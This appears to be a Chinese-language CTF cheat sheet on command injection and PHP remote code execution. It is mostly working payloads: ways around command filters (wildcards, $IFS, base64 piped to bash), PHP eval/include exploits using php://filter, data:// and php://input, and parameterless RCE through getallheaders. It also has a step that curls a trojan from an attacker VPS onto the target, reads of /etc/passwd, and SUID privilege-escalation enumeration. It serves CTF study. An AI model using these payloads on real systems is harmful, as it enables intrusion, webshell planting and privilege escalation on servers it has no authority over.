系统命令联合执行

1
2
3
4
5
6
7
;     前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a (换行)
%0d (回车)

系统命令执行常用绕过方法

过滤了指定字符串

  • cat fl*g.php" : 使用通配符
  • tac f???????" : 使用通配符
  • nl fl*g.php : 过滤 cattac 命令
  • cp fl*g.php 1.txt | cat 1.txt : 间接访问 1.txt
  • ca\t /fl\ag : linux 可以加 \
  • ca''t
  • ca${Z}t
  • a=g;cat fla$a.php : 使用变量覆盖
    • b=ag;a=fl;cat$IFS$1$a$b.php
  • echo Y2F0IGZsYWcucGhw|base64 -d|bash : 使用 base64 加密 cat flag.php 利用管道 + sh/bash 替换

此外,当 cat 等命令被过滤时,也可以使用如下方式来进行命令执行

  • /bin/ca*
  • /bin/ca?

该类型的过滤,都可以尝试使用在 /bin/ 目录下的可执行程序

过滤空格

  • %09 : TAB
  • {$IFS}
  • ${IFS}$9
  • $IFS$9 : 貌似 1-9 都可以
  • IFS
  • <>
  • <
  • {cat,flag.php} : 用逗号实现空格的效果,需要用 {} 包裹
  • %0a
  • %20 : 空格的 URL 编码

可以依次尝试,不一定全都可以绕过

过滤目录符号 /

使用多个 cd.. 一级一级寻找,如下所示:

1
2
3
cd ..%26%26cd ..%26%26cd ..%26%26ls
# %26 为 & 的 URL 编码
# cd ..&&cd ..&&cd ..&&ls

无字母命令执行

如果过滤了所有字母,想要执行命令,也可以使用 $'...' 语法定义包含转义序列的字符串
ls 变为 $'\154\163'cat * 变为 $'\143\141\164'%20*

此外,还有一个特殊的命令 . ./*

这个命令会尝试执行当前目录下所有脚本中的命令(包括以 .jpg、.png 命名后缀的脚本),可以配合文件上传使用

如上传一个shell.jpg,内容如下:

1
2
#!/bin/bash
ls /

然后执行 . ./* 命令,可以成功执行 ls 命令(有一个前提,就是要执行的 shell.jpg文件必须在目录排第一个否则通配符是无法识别的

无回显命令执行

可以使用 tee 命令将命令执行结果写入文件,然后通过读取文件的方式获取命令执行结果

tee 命令的常见用途是将命令的输出保存到文件中,同时将结果显示在终端上

1
2
ls | tee 1
# 然后直接访问 http://localhost/1

curl 下载服务器木马

在自己的服务器上上传木马,如 /usr/share/nginx/html/1.php

然后在命令执行点传入如下命令:

1
curl vps-ip/1.php -o 1.php

如果不指定服务器资源文件,那么会默认下载服务器的默认文件(如 index.php、index.html)

1
curl vps-ip -o 1.php

即可将 1.php 下载到目标服务器

PHP 命令执行函数

常见系统命令执行函数

当题目过滤某个函数时候,可以尝试使用其他函数

  • system()
  • passthur()
  • shell_exec()
  • echo `cat flag.php` : 反引号(用于命令替换,即将反引号中命令的输出作为另一个命令的参数。也就是说,命令替换会先执行反引号中的命令,然后将其输出作为外部命令的一部分进行处理

PHP 不需要括号的函数

  • echo 123
  • print 123
  • include "/etc/passwd"
  • require "/etc/passwd"
  • include_once "/etc/passwd"
  • require_once "/etc/passwd"

可以在题目中过滤了括号的情况下尝试

使用 eval 嵌套传参

1
?c=eval($_GET[1]);&1=passthru("cat flag.php"); 

使用文件包含和PHP伪协议

例题如下:

1
2
3
4
5
6
7
8
9
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

可以使用下面的payload来绕过

1
2
3
4
5
6
7
8
9
10
11
12
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

# or

c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

# or

c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

# or
c=include$_GET[a]?>a=php://input # post提交php文件内容或一句话木马

原理:

  • include$_GET[1] 运用了文件包含漏洞,作用是包含参数1的文件
  • %0a 是 url 回车符,因为空格被过滤,但在 eval() 函数中,会自动给字符串和变量间添加空格,因此可以不加
  • ?> php 定界符,用于绕过 ; ,其原理是 php 遇到定界符会自动在末尾加上一个分号,简单来说就是 php 文件中最后一句在 ?> 前可以不加 ;

过滤 ' "

将字符用 chr() 转义

var_dump(scandir("/")) => var_dump(scandir(chr(47)))

var_dump(file_get_contents(/flag)) => var_dump(file_get_contents(chr(47).chr(102).chr(97).chr(108).chr(103))))

无参数读文件和命令执行

无参数指的是由于题目过滤限制,只能使用不带有参数的函数进行文件读取或命令执行

查看当前目录文件名

查看当前目录文件名命令 - print_r(scandir(".")); & var_dump(scandir('/'));

此外打印函数还有:

  • var_export()

列出文件名函数还有:

  • glob('../../..'.'/*.php') : 列出指定目录上的所有匹配文件名

该命令需要构造参数里的 "." ,有以下构造方法

a).

1
print_r(scandir(current(localeconv())));
  • localeconv() : 该函数返回一个包含本地数字及货币格式信息的数组,数组第一项就是 "."

  • current() 函数返回数组中的单元,默认为第一个值。除了 current() 函数,还有:

  • pos() 函数是 current 的别名

  • reset() 该函数返回数组第一个单元的值,如果数组为空则返回 FALSE

b).

1
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))

该方法借助 phpversion() 返回PHP版本号,然后通过一系列函数计算得到 "."

c).

  • getcwd() : 获取当前工作目录的路径

因此可以构造下面语句输出当前文件夹下所有文件名

1
print_r(scandir(getcwd()));

读取当前目录文件

如果文件不能直接显示,比如PHP源码,则还需要函数进行读取,读文件函数可以使用如下:

  • readfile() (显示在源码处)
  • file_get_contents() (显示在源码处)
  • highlight_file()
  • readgzfile()
  • show_source()

在禁用某些系统命令执行函数,如 system("cat flag.php"); 时,也可以尝试直接使用读取文件函数,如 c=highlight_file("flag.php");

a). 如果要读取的文件位于 scandir(getcwd()) 函数得到的数组中的最后一位,则可以使用下面方法:

1
show_source(end(scandir(getcwd())));

b). 如果要读取的文件位于数组第一个,则可以使用 array_reverse() 以相反的元素顺序返回数组:

1
show_source(current(array_reverse(scandir(getcwd()))));

c). 如果要读取的文件位于数组倒数第二个,则可以使用 next()函数将数组内部指针向前移动一位

1
show_source(next(array_reverse(scandir(getcwd()))));

d). 如果不是上述情况,则可以使用 array_rand(array_flip())

  • array_flip() : 交换数组中的键和值
  • array_rand() : 从数组中随机返回一个

所以可以构造下面语句,并多刷新几次尝试读取 flag.php:

1
2
3
4
5
show_source(array_rand(array_flip(scandir(getcwd()))));

# or

show_source(array_rand(array_flip(scandir(current(localeconv())))));

查看上一级目录文件名

a). dirname() 方法

该函数如果传入的值是一个绝对路径,则返回上一级目录,如果传入的是文件的绝对路径,则返回该文件的当前路径

因此可以构造下面语句,查看上一级目录的文件

1
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件

b). 构造 ".."

scandir(getcwd()) 返回的数组第二个就是 ".." ,所以可以使用 next() 函数获取

1
print_r(scandir(next(scandir(getcwd()))));

此外,还有其它方法,如:

1
next(scandir(chr(ord(hebrevc(crypt(time()))))))

读取上一级目录文件

直接使用 print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd())))))); 是不可以的,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录,使用 chdir() 来改变当前目录

1
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

无参数命令执行

传入的 code 不能含有参数,那就需要将参数放在别的地方,然后通过无参数函数来接收参数

a). getallheaders()apache_request_hearders() 函数,该函数只能在 Apache 环境下使用,它的作用是返回所有的 HTTP 请求头信息

1
?code = eval(pos(array_reverse(getallheaders())));

上述代码返回请求头数组中的最后一个值并执行,因此我们可以在请求头中最后一位添加 MyHeader 达到命令执行的效果

1
2
3
4
5
6
7
8
9
GET /bo0g1pop.php?star=eval(pos(array_reverse(getallheaders()))); HTTP/1.1
Host: 8d2a9a35-f6a6-4e58-a65f-42e31eacb6e8.node5.buuoj.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
MyHeader: phpinfo(); // 添加头部
Connection: close

根据自己构造请求头位置的不同,可以结合前文方法构造获取不同位置的数组

b). get_defined_vars() 函数,该函数返回所有已定义变量的数组,这些变量包括环境变量、服务器变量、用户定义的变量

1
?flag=phpinfo();&code=print_r(get_defined_vars())

上述语句会打印出所有变量的数组,包括自定义的变量 flag=>phpinfo();

所以可以最终取到数组中自定义变量的值,最终造成命令执行,利用语句如下:

1
?flag=phpinfo();&code=eval(pos(pos(get_defined_vars())));

SUID 提权

具有suid权限的⼆进制可执⾏⽂件有:

1
2
3
4
5
6
7
8
9
nmap
vim
find
bash
more
less
nano
cp
awk

查看具有 SUID 权限的命令

1
2
3
4
5
find / -perm -u=s -type f 2>/dev/null > ./1.txt
# or
find / -user root -perm -4000 -print 2>/dev/null
# or
find / -user root -perm -4000 -exec ls -ldb {} \;

参数解释:

  • -perm : find 命令的选项,按照权限进行匹配
  • -u=s : 匹配具有 SUID 权限的文件
  • -type f : find 命令的选项,只匹配文件,不包括目录、链接等
  • 2>/dev/null : 将错误信息重定向到 /dev/null 文件,即不显示错误信息

然后根据得到的结果,寻找可利用命令进行提权

利用方法

date -f 命令

该命令根据文件的内容,读出里面的日期信息

如果让他读取一些不含有时间内容的文件,他会以报错的形式把文档内容读取出来

因此可以利用该命令,读取本来不可读的文件内容

1
2
3
date -f /flag
# or
date -f /flag 2>1.txt # 将报错结果写入文件

参考

[1]. 无参数读文件和 RCE 总结 - CSDN